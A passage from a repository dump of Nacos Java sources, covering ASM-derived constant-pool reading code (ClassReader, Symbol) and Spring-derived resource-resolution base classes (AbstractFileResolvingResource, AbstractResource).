the class's constant pool table.\n     * @param charBuffer the buffer to be used to read the string. This buffer must be sufficiently\n     *                   large. It is not automatically resized.\n     * @return the String corresponding to the specified CONSTANT_Utf8 entry.\n     */\n    // DontCheck(AbbreviationAsWordInName): can't be renamed (for backward binary compatibility).\n    public String readUtf8(final int offset, final char[] charBuffer) {\n        int constantPoolEntryIndex = readUnsignedShort(offset);\n        if (offset == 0 || constantPoolEntryIndex == 0) {\n            return null;\n        }\n        return readUtf(constantPoolEntryIndex, charBuffer);\n    }\n\n    /**\n     * Reads a CONSTANT_Utf8 constant pool entry in {@link #classFileBuffer}.\n     *\n     * @param constantPoolEntryIndex the index of a CONSTANT_Utf8 entry in the class's constant pool\n     *                               table.\n     * @param charBuffer             the buffer to be used to read the string. This buffer must be sufficiently\n     *                               large. It is not automatically resized.\n     * @return the String corresponding to the specified CONSTANT_Utf8 entry.\n     */\n    final String readUtf(final int constantPoolEntryIndex, final char[] charBuffer) {\n        String value = constantUtf8Values[constantPoolEntryIndex];\n        if (value != null) {\n            return value;\n        }\n        int cpInfoOffset = cpInfoOffsets[constantPoolEntryIndex];\n        return constantUtf8Values[constantPoolEntryIndex] =\n                readUtf(cpInfoOffset + 2, readUnsignedShort(cpInfoOffset), charBuffer);\n    }\n\n    /**\n     * Reads an UTF8 string in {@link #classFileBuffer}.\n     *\n     * @param utfOffset  the start offset of the UTF8 string to be read.\n     * @param utfLength  the length of the UTF8 string to be read.\n     * @param charBuffer the buffer to be used to read the string. This buffer must be sufficiently\n     *                   large. It is not automatically resized.\n     * @return the String corresponding to the specified UTF8 string.\n     */\n    private String readUtf(final int utfOffset, final int utfLength, final char[] charBuffer) {\n        int currentOffset = utfOffset;\n        int endOffset = currentOffset + utfLength;\n        int strLength = 0;\n        byte[] classBuffer = classFileBuffer;\n        while (currentOffset < endOffset) {\n            int currentByte = classBuffer[currentOffset++];\n            if ((currentByte & 0x80) == 0) {\n                charBuffer[strLength++] = (char) (currentByte & 0x7F);\n            } else if ((currentByte & 0xE0) == 0xC0) {\n                charBuffer[strLength++] =\n                        (char) (((currentByte & 0x1F) << 6) + (classBuffer[currentOffset++] & 0x3F));\n            } else {\n                charBuffer[strLength++] =\n                        (char)\n                                (((currentByte & 0xF) << 12)\n                                        + ((classBuffer[currentOffset++] & 0x3F) << 6)\n                                        + (classBuffer[currentOffset++] & 0x3F));\n            }\n        }\n        return new String(charBuffer, 0, strLength);\n    }\n\n    /**\n     * Reads a CONSTANT_Class, CONSTANT_String, CONSTANT_MethodType, CONSTANT_Module or\n     * CONSTANT_Package constant pool entry in {@link #classFileBuffer}. <i>This method is intended\n     * for  Attribute sub classes, and is normally not needed by class generators or\n     * adapters.</i>\n     *\n     * @param offset     the start offset of an unsigned short value in {@link #classFileBuffer}, whose\n     *                   value is the index of a CONSTANT_Class, CONSTANT_String, CONSTANT_MethodType,\n     *                   CONSTANT_Module or CONSTANT_Package entry in class's constant pool table.\n     * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently\n     *                   large. It is not automatically resized.\n     * @return the String corresponding to the specified constant pool entry.\n     */\n    private String readStringish(final int offset, final char[] charBuffer) {\n        // Get the start offset of the cp_info structure (plus one), and read the CONSTANT_Utf8 entry\n        // designated by the first two bytes of this cp_info.\n        return readUtf8(cpInfoOffsets[readUnsignedShort(offset)], charBuffer);\n    }\n\n    /**\n     * Reads a CONSTANT_Class constant pool entry in this {@link ClassReader}. <i>This method is\n     * intended for  Attribute sub classes, and is normally not needed by class generators or\n     * adapters.</i>\n     *\n     * @param offset     the start offset of an unsigned short value in this {@link ClassReader}, whose\n     *                   value is the index of a CONSTANT_Class entry in class's constant pool table.\n     * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently\n     *                   large. It is not automatically resized.\n     * @return the String corresponding to the specified CONSTANT_Class entry.\n     */\n    public String readClass(final int offset, final char[] charBuffer) {\n        return readStringish(offset, charBuffer);\n    }\n\n    /**\n     * Reads a CONSTANT_Module constant pool entry in this {@link ClassReader}. <i>This method is\n     * intended for Attribute sub classes, and is normally not needed by class generators or\n     * adapters.</i>\n     *\n     * @param offset     the start offset of an unsigned short value in this {@link ClassReader}, whose\n     *                   value is the index of a CONSTANT_Module entry in class's constant pool table.\n     * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently\n     *                   large. It is not automatically resized.\n     * @return the String corresponding to the specified CONSTANT_Module entry.\n     */\n    public String readModule(final int offset, final char[] charBuffer) {\n        return readStringish(offset, charBuffer);\n    }\n\n    /**\n     * Reads a CONSTANT_Package constant pool entry in this {@link ClassReader}. <i>This method is\n     * intended for Attribute sub classes, and is normally not needed by class generators or\n     * adapters.</i>\n     *\n     * @param offset     the start offset of an unsigned short value in this {@link ClassReader}, whose\n     *                   value is the index of a CONSTANT_Package entry in class's constant pool table.\n     * @param charBuffer the buffer to be used to read the item. This buffer must be sufficiently\n     *                   large. It is not automatically resized.\n     * @return the String corresponding to the specified CONSTANT_Package entry.\n     */\n    public String readPackage(final int offset, final char[] charBuffer) {\n        return readStringish(offset, charBuffer);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/classreading/Symbol.java",
    "content": "// ASM: a very small and fast Java bytecode manipulation framework\n// Copyright (c) 2000-2011 INRIA, France Telecom\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions\n// are met:\n// 1. Redistributions of source code must retain the above copyright\n//    notice, this list of conditions and the following disclaimer.\n// 2. Redistributions in binary form must reproduce the above copyright\n//    notice, this list of conditions and the following disclaimer in the\n//    documentation and/or other materials provided with the distribution.\n// 3. Neither the name of the copyright holders nor the names of its\n//    contributors may be used to endorse or promote products derived from\n//    this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n// THE POSSIBILITY OF SUCH DAMAGE.\n\npackage com.alibaba.nacos.common.packagescan.classreading;\n\n/**\n * Copy from ASM, with less modifications\n * An entry of the constant pool, of the BootstrapMethods attribute, or of the (ASM specific) type\n * table of a class.\n *\n * @author Eric Bruneton\n * @see <a href=\"https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.4\">JVMS\n * 4.4</a>\n * @see <a href=\"https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.23\">JVMS\n * 4.7.23</a>\n */\nabstract class Symbol {\n\n    /**\n     * The tag value of CONSTANT_Class_info JVMS structures.\n     */\n    static final int CONSTANT_CLASS_TAG = 7;\n\n    /**\n     * The tag value of CONSTANT_Fieldref_info JVMS structures.\n     */\n    static final int CONSTANT_FIELDREF_TAG = 9;\n\n    /**\n     * The tag value of CONSTANT_Methodref_info JVMS structures.\n     */\n    static final int CONSTANT_METHODREF_TAG = 10;\n\n    /**\n     * The tag value of CONSTANT_InterfaceMethodref_info JVMS structures.\n     */\n    static final int CONSTANT_INTERFACE_METHODREF_TAG = 11;\n\n    /**\n     * The tag value of CONSTANT_String_info JVMS structures.\n     */\n    static final int CONSTANT_STRING_TAG = 8;\n\n    /**\n     * The tag value of CONSTANT_Integer_info JVMS structures.\n     */\n    static final int CONSTANT_INTEGER_TAG = 3;\n\n    /**\n     * The tag value of CONSTANT_Float_info JVMS structures.\n     */\n    static final int CONSTANT_FLOAT_TAG = 4;\n\n    /**\n     * The tag value of CONSTANT_Long_info JVMS structures.\n     */\n    static final int CONSTANT_LONG_TAG = 5;\n\n    /**\n     * The tag value of CONSTANT_Double_info JVMS structures.\n     */\n    static final int CONSTANT_DOUBLE_TAG = 6;\n\n    /**\n     * The tag value of CONSTANT_NameAndType_info JVMS structures.\n     */\n    static final int CONSTANT_NAME_AND_TYPE_TAG = 12;\n\n    /**\n     * The tag value of CONSTANT_Utf8_info JVMS structures.\n     */\n    static final int CONSTANT_UTF8_TAG = 1;\n\n    /**\n     * The tag value of CONSTANT_MethodHandle_info JVMS structures.\n     */\n    static final int CONSTANT_METHOD_HANDLE_TAG = 15;\n\n    /**\n     * The tag value of CONSTANT_MethodType_info JVMS structures.\n     */\n    static final int CONSTANT_METHOD_TYPE_TAG = 16;\n\n    /**\n     * The tag value of CONSTANT_Dynamic_info JVMS structures.\n     */\n    static final int CONSTANT_DYNAMIC_TAG = 17;\n\n    /**\n     * The tag value of CONSTANT_InvokeDynamic_info JVMS structures.\n     */\n    static final int CONSTANT_INVOKE_DYNAMIC_TAG = 18;\n\n    /**\n     * The tag value of CONSTANT_Module_info JVMS structures.\n     */\n    static final int CONSTANT_MODULE_TAG = 19;\n\n    /**\n     * The tag value of CONSTANT_Package_info JVMS structures.\n     */\n    static final int CONSTANT_PACKAGE_TAG = 20;\n\n    // Tag values for the BootstrapMethods attribute entries (ASM specific tag).\n\n    /**\n     * The tag value of the BootstrapMethods attribute entries.\n     */\n    static final int BOOTSTRAP_METHOD_TAG = 64;\n\n    // Tag values for the type table entries (ASM specific tags).\n\n    /**\n     * The tag value of a normal type entry in the (ASM specific) type table of a class.\n     */\n    static final int TYPE_TAG = 128;\n\n    static final int UNINITIALIZED_TYPE_TAG = 129;\n\n    /**\n     * The tag value of a merged type entry in the (ASM specific) type table of a class.\n     */\n    static final int MERGED_TYPE_TAG = 130;\n\n    // Instance fields.\n\n    /**\n     * The index of this symbol in the constant pool, in the BootstrapMethods attribute, or in the\n     * (ASM specific) type table of a class (depending on the {@link #tag} value).\n     */\n    final int index;\n\n    /**\n     * A tag indicating the type of this symbol. Must be one of the static tag values defined in this\n     * class.\n     */\n    final int tag;\n\n    /**\n     * The internal name of the owner class of this symbol. Only used for {@link\n     * #CONSTANT_FIELDREF_TAG}, {@link #CONSTANT_METHODREF_TAG}, {@link\n     * #CONSTANT_INTERFACE_METHODREF_TAG}, and {@link #CONSTANT_METHOD_HANDLE_TAG} symbols.\n     */\n    final String owner;\n\n    /**\n     * The name of the class field or method corresponding to this symbol. Only used for {@link\n     * #CONSTANT_FIELDREF_TAG}, {@link #CONSTANT_METHODREF_TAG}, {@link\n     * #CONSTANT_INTERFACE_METHODREF_TAG}, {@link #CONSTANT_NAME_AND_TYPE_TAG}, {@link\n     * #CONSTANT_METHOD_HANDLE_TAG}, {@link #CONSTANT_DYNAMIC_TAG} and {@link\n     * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols.\n     */\n    final String name;\n\n    /**\n     * The string value of this symbol. This is:\n     *\n     * <ul>\n     *   <li>a field or method descriptor for {@link #CONSTANT_FIELDREF_TAG}, {@link\n     *       #CONSTANT_METHODREF_TAG}, {@link #CONSTANT_INTERFACE_METHODREF_TAG}, {@link\n     *       #CONSTANT_NAME_AND_TYPE_TAG}, {@link #CONSTANT_METHOD_HANDLE_TAG}, {@link\n     *       #CONSTANT_METHOD_TYPE_TAG}, {@link #CONSTANT_DYNAMIC_TAG} and {@link\n     *       #CONSTANT_INVOKE_DYNAMIC_TAG} symbols,\n     *   <li>an arbitrary string for {@link #CONSTANT_UTF8_TAG} and {@link #CONSTANT_STRING_TAG}\n     *       symbols,\n     *   <li>an internal class name for {@link #CONSTANT_CLASS_TAG}, {@link #TYPE_TAG} and {@link\n     *       #UNINITIALIZED_TYPE_TAG} symbols,\n     *   <li>{@literal null} for the other types of symbol.\n     * </ul>\n     */\n    final String value;\n\n    /**\n     * The numeric value of this symbol. This is:\n     *\n     * <ul>\n     *   <li>the symbol's value for {@link #CONSTANT_INTEGER_TAG},{@link #CONSTANT_FLOAT_TAG}, {@link\n     *       #CONSTANT_LONG_TAG}, {@link #CONSTANT_DOUBLE_TAG},\n     *   <li>the CONSTANT_MethodHandle_info reference_kind field value for {@link\n     *       #CONSTANT_METHOD_HANDLE_TAG} symbols,\n     *   <li>the CONSTANT_InvokeDynamic_info bootstrap_method_attr_index field value for {@link\n     *       #CONSTANT_INVOKE_DYNAMIC_TAG} symbols,\n     *   <li>the offset of a bootstrap method in the BootstrapMethods boostrap_methods array, for\n     *       {@link #CONSTANT_DYNAMIC_TAG} or {@link #BOOTSTRAP_METHOD_TAG} symbols,\n     *   <li>the bytecode offset of the NEW instruction that created an  type for {@link #UNINITIALIZED_TYPE_TAG} symbols,\n     *   <li>the indices (in the class' type table) of two {@link #TYPE_TAG} source types for {@link\n     *       #MERGED_TYPE_TAG} symbols,\n     *   <li>0 for the other types of symbol.\n     * </ul>\n     */\n    final long data;\n\n    /**\n     * Additional information about this symbol, generally computed lazily. <i>Warning: the value of\n     * this field is ignored when comparing Symbol instances</i> (to avoid duplicate entries in a\n     * SymbolTable). Therefore, this field should only contain data that can be computed from the\n     * other fields of this class. It contains:\n     *\n     * <ul>\n     *   <li>the {@link Type#getArgumentsAndReturnSizes} of the symbol's method descriptor for {@link\n     *       #CONSTANT_METHODREF_TAG}, {@link #CONSTANT_INTERFACE_METHODREF_TAG} and {@link\n     *       #CONSTANT_INVOKE_DYNAMIC_TAG} symbols,\n     *   <li>the index in the InnerClasses_attribute 'classes' array (plus one) corresponding to this\n     *       class, for {@link #CONSTANT_CLASS_TAG} symbols,\n     *   <li>the index (in the class' type table) of the merged type of the two source types for\n     *       {@link #MERGED_TYPE_TAG} symbols,\n     *   <li>0 for the other types of symbol, or if this field has not been computed yet.\n     * </ul>\n     */\n    int info;\n\n    /**\n     * Constructs a new Symbol. This constructor can't be used directly because the Symbol class is\n     * abstract. Instead, use the factory methods of the  class.\n     *\n     * @param index the symbol index in the constant pool, in the BootstrapMethods attribute, or in\n     *              the (ASM specific) type table of a class (depending on 'tag').\n     * @param tag   the symbol type. Must be one of the static tag values defined in this class.\n     * @param owner The internal name of the symbol's owner class. Maybe {@literal null}.\n     * @param name  The name of the symbol's corresponding class field or method. Maybe {@literal\n     *              null}.\n     * @param value The string value of this symbol. Maybe {@literal null}.\n     * @param data  The numeric value of this symbol.\n     */\n    Symbol(\n            final int index,\n            final int tag,\n            final String owner,\n            final String name,\n            final String value,\n            final long data) {\n        this.index = index;\n        this.tag = tag;\n        this.owner = owner;\n        this.name = name;\n        this.value = value;\n        this.data = data;\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/AbstractFileResolvingResource.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URI;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.nio.channels.FileChannel;\nimport java.nio.channels.ReadableByteChannel;\nimport java.nio.file.NoSuchFileException;\nimport java.nio.file.StandardOpenOption;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Abstract base class for resources which resolve URLs into File references,\n * such as {@link UrlResource} or {@link ClassPathResource}.\n *\n * <p>Detects the \"file\" protocol as well as the JBoss \"vfs\" protocol in URLs,\n * resolving file system references accordingly.\n *\n * @author Juergen Hoeller\n * @since 3.0\n */\npublic abstract class AbstractFileResolvingResource extends AbstractResource {\n\n    @Override\n    public boolean exists() {\n        try {\n            URL url = getUrl();\n            if (ResourceUtils.isFileUrl(url)) {\n                // Proceed with file system resolution\n                return getFile().exists();\n            } else {\n                // Try a URL connection content-length header\n                URLConnection con = url.openConnection();\n                customizeConnection(con);\n                HttpURLConnection httpCon =\n                        (con instanceof HttpURLConnection ? (HttpURLConnection) con : null);\n                if (httpCon != null) {\n                    int code = httpCon.getResponseCode();\n                    if (code == HttpURLConnection.HTTP_OK) {\n                        return true;\n                    } else if (code == HttpURLConnection.HTTP_NOT_FOUND) {\n                        return false;\n                    }\n                }\n                if (con.getContentLengthLong() > 0) {\n                    return true;\n                }\n                if (httpCon != null) {\n                    // No HTTP OK status, and no content-length header: give up\n                    httpCon.disconnect();\n                    return false;\n                } else {\n                    // Fall back to stream existence: can we open the stream?\n                    getInputStream().close();\n                    return true;\n                }\n            }\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    @Override\n    public boolean isReadable() {\n        try {\n            return checkReadable(getUrl());\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    boolean checkReadable(URL url) {\n        try {\n            if (ResourceUtils.isFileUrl(url)) {\n                // Proceed with file system resolution\n                File file = getFile();\n                return (file.canRead() && !file.isDirectory());\n            } else {\n                // Try InputStream resolution for jar resources\n                URLConnection con = url.openConnection();\n                customizeConnection(con);\n                if (con instanceof HttpURLConnection) {\n                    HttpURLConnection httpCon = (HttpURLConnection) con;\n                    int code = httpCon.getResponseCode();\n                    if (code != HttpURLConnection.HTTP_OK) {\n                        httpCon.disconnect();\n                        return false;\n                    }\n                }\n                long contentLength = con.getContentLengthLong();\n                if (contentLength > 0) {\n                    return true;\n                } else if (contentLength == 0) {\n                    // Empty file or directory -> not considered readable...\n                    return false;\n                } else {\n                    // Fall back to stream existence: can we open the stream?\n                    getInputStream().close();\n                    return true;\n                }\n            }\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    @Override\n    public boolean isFile() {\n        try {\n            URL url = getUrl();\n            if (url.getProtocol().startsWith(ResourceUtils.URL_PROTOCOL_VFS)) {\n                return VfsResourceDelegate.getResource(url).isFile();\n            }\n            return ResourceUtils.URL_PROTOCOL_FILE.equals(url.getProtocol());\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    /**\n     * This implementation returns a File reference for the given URI-identified\n     * resource, provided that it refers to a file in the file system.\n     *\n     * @see #getFile(URI)\n     * @since 5.0\n     */\n    protected boolean isFile(URI uri) {\n        try {\n            if (uri.getScheme().startsWith(ResourceUtils.URL_PROTOCOL_VFS)) {\n                return VfsResourceDelegate.getResource(uri).isFile();\n            }\n            return ResourceUtils.URL_PROTOCOL_FILE.equals(uri.getScheme());\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    /**\n     * This implementation returns a File reference for the underlying class path\n     * resource, provided that it refers to a file in the file system.\n     *\n     * @see ResourceUtils#getFile(URL, String)\n     */\n    @Override\n    public File getFile() throws IOException {\n        URL url = getUrl();\n        if (url.getProtocol().startsWith(ResourceUtils.URL_PROTOCOL_VFS)) {\n            return VfsResourceDelegate.getResource(url).getFile();\n        }\n        return ResourceUtils.getFile(url, getDescription());\n    }\n\n    /**\n     * This implementation returns a File reference for the given URI-identified\n     * resource, provided that it refers to a file in the file system.\n     *\n     * @see ResourceUtils#getFile(URI, String)\n     */\n    protected File getFile(URI uri) throws IOException {\n        if (uri.getScheme().startsWith(ResourceUtils.URL_PROTOCOL_VFS)) {\n            return VfsResourceDelegate.getResource(uri).getFile();\n        }\n        return ResourceUtils.getFile(uri, getDescription());\n    }\n\n    /**\n     * This implementation determines the underlying File\n     * (or jar file, in case of a resource in a jar/zip).\n     */\n    @Override\n    protected File getFileForLastModifiedCheck() throws IOException {\n        URL url = getUrl();\n        if (ResourceUtils.isJarUrl(url)) {\n            URL actualUrl = ResourceUtils.extractArchiveUrl(url);\n            if (actualUrl.getProtocol().startsWith(ResourceUtils.URL_PROTOCOL_VFS)) {\n                return VfsResourceDelegate.getResource(actualUrl).getFile();\n            }\n            return ResourceUtils.getFile(actualUrl, \"Jar URL\");\n        } else {\n            return getFile();\n        }\n    }\n\n\n    /**\n     * This implementation returns a FileChannel for the given URI-identified\n     * resource, provided that it refers to a file in the file system.\n     *\n     * @see #getFile()\n     * @since 5.0\n     */\n    @Override\n    public ReadableByteChannel readableChannel() throws IOException {\n        try {\n            // Try file system channel\n            return FileChannel.open(getFile().toPath(), StandardOpenOption.READ);\n        } catch (FileNotFoundException | NoSuchFileException ex) {\n            // Fall back to InputStream adaptation in superclass\n            return super.readableChannel();\n        }\n    }\n\n    @Override\n    public long contentLength() throws IOException {\n        URL url = getUrl();\n        if (ResourceUtils.isFileUrl(url)) {\n            // Proceed with file system resolution\n            File file = getFile();\n            long length = file.length();\n            if (length == 0L && !file.exists()) {\n                throw new FileNotFoundException(getDescription()\n                        + \" cannot be resolved in the file system for checking its content length\");\n            }\n            return length;\n        } else {\n            // Try a URL connection content-length header\n            URLConnection con = url.openConnection();\n            customizeConnection(con);\n            return con.getContentLengthLong();\n        }\n    }\n\n    @Override\n    public long lastModified() throws IOException {\n        URL url = getUrl();\n        boolean fileCheck = false;\n        if (ResourceUtils.isFileUrl(url) || ResourceUtils.isJarUrl(url)) {\n            // Proceed with file system resolution\n            fileCheck = true;\n            try {\n                File fileToCheck = getFileForLastModifiedCheck();\n                long lastModified = fileToCheck.lastModified();\n                if (lastModified > 0L || fileToCheck.exists()) {\n                    return lastModified;\n                }\n            } catch (FileNotFoundException ex) {\n                // Defensively fall back to URL connection check instead\n            }\n        }\n        // Try a URL connection last-modified header\n        URLConnection con = url.openConnection();\n        customizeConnection(con);\n        long lastModified = con.getLastModified();\n        if (fileCheck && lastModified == 0 && con.getContentLengthLong() <= 0) {\n            throw new FileNotFoundException(getDescription()\n                    + \" cannot be resolved in the file system for checking its last-modified timestamp\");\n        }\n        return lastModified;\n    }\n\n    /**\n     * Customize the given {@link URLConnection}, obtained in the course of an\n     * {@link #exists()}, {@link #contentLength()} or {@link #lastModified()} call.\n     * Calls {@link ResourceUtils#useCachesIfNecessary(URLConnection)} and\n     * delegates to {@link #customizeConnection(HttpURLConnection)} if possible.\n     * Can be overridden in subclasses.\n     *\n     * @param con the URLConnection to customize\n     * @throws IOException if thrown from URLConnection methods\n     */\n    protected void customizeConnection(URLConnection con) throws IOException {\n        ResourceUtils.useCachesIfNecessary(con);\n        if (con instanceof HttpURLConnection) {\n            customizeConnection((HttpURLConnection) con);\n        }\n    }\n\n    /**\n     * Customize the given {@link HttpURLConnection}, obtained in the course of an\n     * {@link #exists()}, {@link #contentLength()} or {@link #lastModified()} call.\n     * Sets request method \"HEAD\" by default. Can be overridden in subclasses.\n     *\n     * @param con the HttpURLConnection to customize\n     * @throws IOException if thrown from HttpURLConnection methods\n     */\n    protected void customizeConnection(HttpURLConnection con) throws IOException {\n        con.setRequestMethod(\"HEAD\");\n    }\n\n    /**\n     * Inner delegate class, avoiding a hard JBoss VFS API dependency at runtime.\n     */\n    private static class VfsResourceDelegate {\n\n        public static Resource getResource(URL url) throws IOException {\n            return new VfsResource(VfsUtils.getRoot(url));\n        }\n\n        public static Resource getResource(URI uri) throws IOException {\n            return new VfsResource(VfsUtils.getRoot(uri));\n        }\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/AbstractResource.java",
    "content": "/*\n * Copyright 2002-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.NestedIoException;\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.nio.channels.Channels;\nimport java.nio.channels.ReadableByteChannel;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Convenience base class for {@link Resource} implementations,\n * pre-implementing typical behavior.\n *\n * <p>The \"exists\" method will check whether a File or InputStream can\n * be opened; \"isOpen\" will always return false; \"getURL\" and \"getFile\"\n * throw an exception; and \"toString\" will return the description.\n *\n * @author Juergen Hoeller\n * @author Sam Brannen\n * @since 28.12.2003\n */\npublic abstract class AbstractResource implements Resource {\n\n    /**\n     * This implementation checks whether a File can be opened,\n     * falling back to whether an InputStream can be opened.\n     * This will cover both directories and content resources.\n     */\n    @Override\n    public boolean exists() {\n        // Try file existence: can we find the file in the file system?\n        if (isFile()) {\n            try {\n                return getFile().exists();\n            } catch (IOException ex) {\n                Logger logger = LoggerFactory.getLogger(getClass());\n                if (logger.isDebugEnabled()) {\n                    logger.debug(\"Could not retrieve File for existence check of \" + getDescription(), ex);\n                }\n            }\n        }\n        // Fall back to stream existence: can we open the stream?\n        try {\n            getInputStream().close();\n            return true;\n        } catch (Throwable ex) {\n            Logger logger = LoggerFactory.getLogger(getClass());\n            if (logger.isDebugEnabled()) {\n                logger.debug(\"Could not retrieve InputStream for existence check of \" + getDescription(), ex);\n            }\n            return false;\n        }\n    }\n\n    /**\n     * This implementation always returns {@code true} for a resource\n     * that {@link #exists() exists} (revised as of 5.1).\n     */\n    @Override\n    public boolean isReadable() {\n        return exists();\n    }\n\n    /**\n     * This implementation always returns {@code false}.\n     */\n    @Override\n    public boolean isOpen() {\n        return false;\n    }\n\n    /**\n     * This implementation always returns {@code false}.\n     */\n    @Override\n    public boolean isFile() {\n        return false;\n    }\n\n    /**\n     * This implementation throws a FileNotFoundException, assuming\n     * that the resource cannot be resolved to a URL.\n     */\n    @Override\n    public URL getUrl() throws IOException {\n        throw new FileNotFoundException(getDescription() + \" cannot be resolved to URL\");\n    }\n\n    /**\n     * This implementation builds a URI based on the URL returned\n     * by {@link #getUrl()}.\n     */\n    @Override\n    public URI getUri() throws IOException {\n        URL url = getUrl();\n        try {\n            return ResourceUtils.toUri(url);\n        } catch (URISyntaxException ex) {\n            throw new NestedIoException(\"Invalid URI [\" + url + \"]\", ex);\n        }\n    }\n\n    /**\n     * This implementation throws a FileNotFoundException, assuming\n     * that the resource cannot be resolved to an absolute file path.\n     */\n    @Override\n    public File getFile() throws IOException {\n        throw new FileNotFoundException(getDescription() + \" cannot be resolved to absolute file path\");\n    }\n\n    /**\n     * This implementation returns {@link Channels#newChannel(InputStream)}\n     * with the result of {@link #getInputStream()}.\n     * This is the same as in {@link Resource}'s corresponding default method\n     * but mirrored here for efficient JVM-level dispatching in a class hierarchy.\n     */\n    @Override\n    public ReadableByteChannel readableChannel() throws IOException {\n        return Channels.newChannel(getInputStream());\n    }\n\n    /**\n     * This method reads the entire InputStream to determine the content length.\n     * For a custom sub-class of {@code InputStreamResource}, we strongly\n     * recommend overriding this method with a more optimal implementation, e.g.\n     * checking File length, or possibly simply returning -1 if the stream can\n     * only be read once.\n     *\n     * @see #getInputStream()\n     */\n    @Override\n    public long contentLength() throws IOException {\n        InputStream is = getInputStream();\n        try {\n            long size = 0;\n            byte[] buf = new byte[256];\n            int read;\n            while ((read = is.read(buf)) != -1) {\n                size += read;\n            }\n            return size;\n        } finally {\n            try {\n                is.close();\n            } catch (IOException ex) {\n                Logger logger = LoggerFactory.getLogger(getClass());\n                if (logger.isDebugEnabled()) {\n                    logger.debug(\"Could not close content-length InputStream for \" + getDescription(), ex);\n                }\n            }\n        }\n    }\n\n    /**\n     * This implementation checks the timestamp of the underlying File,\n     * if available.\n     *\n     * @see #getFileForLastModifiedCheck()\n     */\n    @Override\n    public long lastModified() throws IOException {\n        File fileToCheck = getFileForLastModifiedCheck();\n        long lastModified = fileToCheck.lastModified();\n        if (lastModified == 0L && !fileToCheck.exists()) {\n            throw new FileNotFoundException(getDescription()\n                    + \" cannot be resolved in the file system for checking its last-modified timestamp\");\n        }\n        return lastModified;\n    }\n\n    /**\n     * Determine the File to use for timestamp checking.\n     * The default implementation delegates to {@link #getFile()}.\n     *\n     * @return the File to use for timestamp checking (never {@code null})\n     * @throws FileNotFoundException if the resource cannot be resolved as\n     *                               an absolute file path, i.e. is not available in a file system\n     * @throws IOException           in case of general resolution/reading failures\n     */\n    protected File getFileForLastModifiedCheck() throws IOException {\n        return getFile();\n    }\n\n    /**\n     * This implementation throws a FileNotFoundException, assuming\n     * that relative resources cannot be created for this resource.\n     */\n    @Override\n    public Resource createRelative(String relativePath) throws IOException {\n        throw new FileNotFoundException(\"Cannot create a relative resource for \" + getDescription());\n    }\n\n    /**\n     * This implementation always returns {@code null},\n     * assuming that this resource type does not have a filename.\n     */\n    @Override\n\n    public String getFilename() {\n        return null;\n    }\n\n\n    /**\n     * This implementation compares description strings.\n     *\n     * @see #getDescription()\n     */\n    @Override\n    public boolean equals(Object other) {\n        